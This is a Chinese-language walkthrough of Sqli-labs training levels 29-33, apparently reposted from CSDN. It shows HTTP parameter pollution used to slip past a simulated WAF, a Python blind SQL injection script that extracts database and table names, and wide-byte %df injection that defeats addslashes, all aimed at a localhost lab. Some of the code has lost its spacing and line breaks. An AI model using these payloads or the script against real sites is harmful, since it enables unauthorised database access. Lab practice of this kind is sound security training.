0


Sqli-labs靶场详细攻略Less 29-33

Less 29-33

Less 29 GET -Error based- IMPIDENCE MISMATCH- Having a WAF infront of web application

这一关在web应用前有一个waf,在关卡列表界面直接点开是没有的,要在地址栏输入

http://127.0.0.1/Less-29/login.php

才是有waf保护的界面

在这里插入图片描述

其实这里并不是真正的硬件waf,只是有两个函数模拟了waf的功能和收到参数的反应。sqlilabs靶场也提供了能够部署真正硬件waf的代码,不过随着时代的发展,waf也在变化,专门配置这样一个waf也没太有必要,直接使用这个模拟题目的就好了。

这一关在正常配置waf的情况下,的结构图如下所示

在这里插入图片描述

客户端在访问服务器端时,需要先经过一个tomcat服务器,这个tomcat服务器中部署的过滤代码充当了

waf

的功能。输入的参数经过tomcat服务器过滤后,再被传入到真正的服务端apache服务器上处理,然后逐层返回到客户端。

这里传入的参数只有一个,名为id,当我们强行传入两个名都为id的参数时,waf获取的是第一个参数,而忽略第二个参数,则对第二个参数的内容不做任何检查和过滤,这样第二个参数就可以传入到apache服务器端,进行解析。

构造如下代码

?id=0&id=-1' unionselect1,2,database()--+

传入两个参数用

&

符号隔开,第一个参数用于绕过waf,第二个参数则是传入apache服务器进行运行的注入代码。

在这里插入图片描述

注入成功。

Less 30 GET - BLIND - IMPIDENCE MISMATCH- Having a WAF infront of web application

这一关的绕过waf的思路与上一关相同,依然是传入两个名为id的参数,第一个参数用于让waf检测,第二个参数用于在服务端注入。这一关的使用

"

进行闭合,除此之外,在服务端没有任何过滤手段,这里使用前面的盲注脚本,基本没什么需要修改的地方,只是加入一个名为id的传入参数即可。

from lxml import html
import requests

defgetCheck(url,xpath,payload):
    r=requests.get(url+payload)
    tree=html.fromstring(r.text)
    check=tree.xpath(xpath)if(len(check)>0):return1else:return0defdatabase_length(url,xpath):
    length=0for i inrange(1,30):
        payload=" and length((select database()))<%s --+"%i
        check=getCheck(url,xpath,payload)if(check):breakelse:
            length+=1print('Database length:'+str(length))return length

defdatabase_name(url,xpath,dbl):
    dbname=''for i inrange(1,dbl+1):for j inrange(97,123):
            payload=" and ascii(substr((select database()),%s,%s))=%s--+"%(i,i,j)
            check=getCheck(url,xpath,payload)if(check):# print(chr(j))
                dbname+=chr(j)print('database name:'+str(dbname))return dbname

defdatabase_table(url,xpath,dbname):
    tablenum=0for i inrange(0,100):
        payload=" and length((select group_concat(table_name) from information_schema.tables where table_schema='%s'))=%s--+"%(dbname,i)
        check=getCheck(url,xpath,payload)if(check):
            tablenum=i
            break
    dbtables=''for i inrange(1,tablenum+1):for j in'0123456789abcdefghijklmnopqrstuvwxyz,_-':
            payload=" and substr((select group_concat(table_name) from information_schema.tables where table_schema='%s'),%s,1)='%s'--+"%(dbname,i,j)
            check=getCheck(url,xpath,payload)if(check):
                dbtables+=j
                breakreturn dbtables

if __name__=='__main__':
    url="http://127.0.0.1/Less-30/?id=1&id=1\""
    xpath="/html/body/div/font[2]/font/text()"
    dbl=database_length(url,xpath)
    dbname=database_name(url,xpath,dbl)
    dbtables=database_table(url,xpath,dbname)print("tables:"+str(dbtables))

注入成功。

在这里插入图片描述

Less 31 GET - BLIND - IMPIDENCE MISMATCH- Having a WAF in front of web application

这一关闭合方式变为了

")

,除此之外与上一关没有任何区别。

Less 32 GET - Bypass custom filter adding slashes to dangerous chars

这一关使用宽字节注入。我们在id处传入

1'

试图进行闭合,发现页面上显示被编码成了

1/'

。我们在

'

前输入

%df

,页面出现报错信息。

在这里插入图片描述

宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码是%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸,报出MySQL数据库的错误。

这样的话,就相当与使用

%df'

进行了闭合,其他方面没啥区别,直接构造使用

union select

查询的语句。

-1%df' unionselect1,2,database()--+

查询成功。

在这里插入图片描述

Less 33 GET - Bypass AddSlashes()

这一关注入的方式与上一关没区别,只是后台在给

'

前加

/

的实现方式有所区别,但是攻击的过程是一样的,这里不再赘述。

标签: less apache 数据库

本文转载自: https://blog.csdn.net/qq_41755084/article/details/127554968
版权归原作者 zhuyuemoonshine 所有, 如有侵权,请联系我们删除。

“Sqli-labs靶场详细攻略Less 29-33”的评论:

还没有评论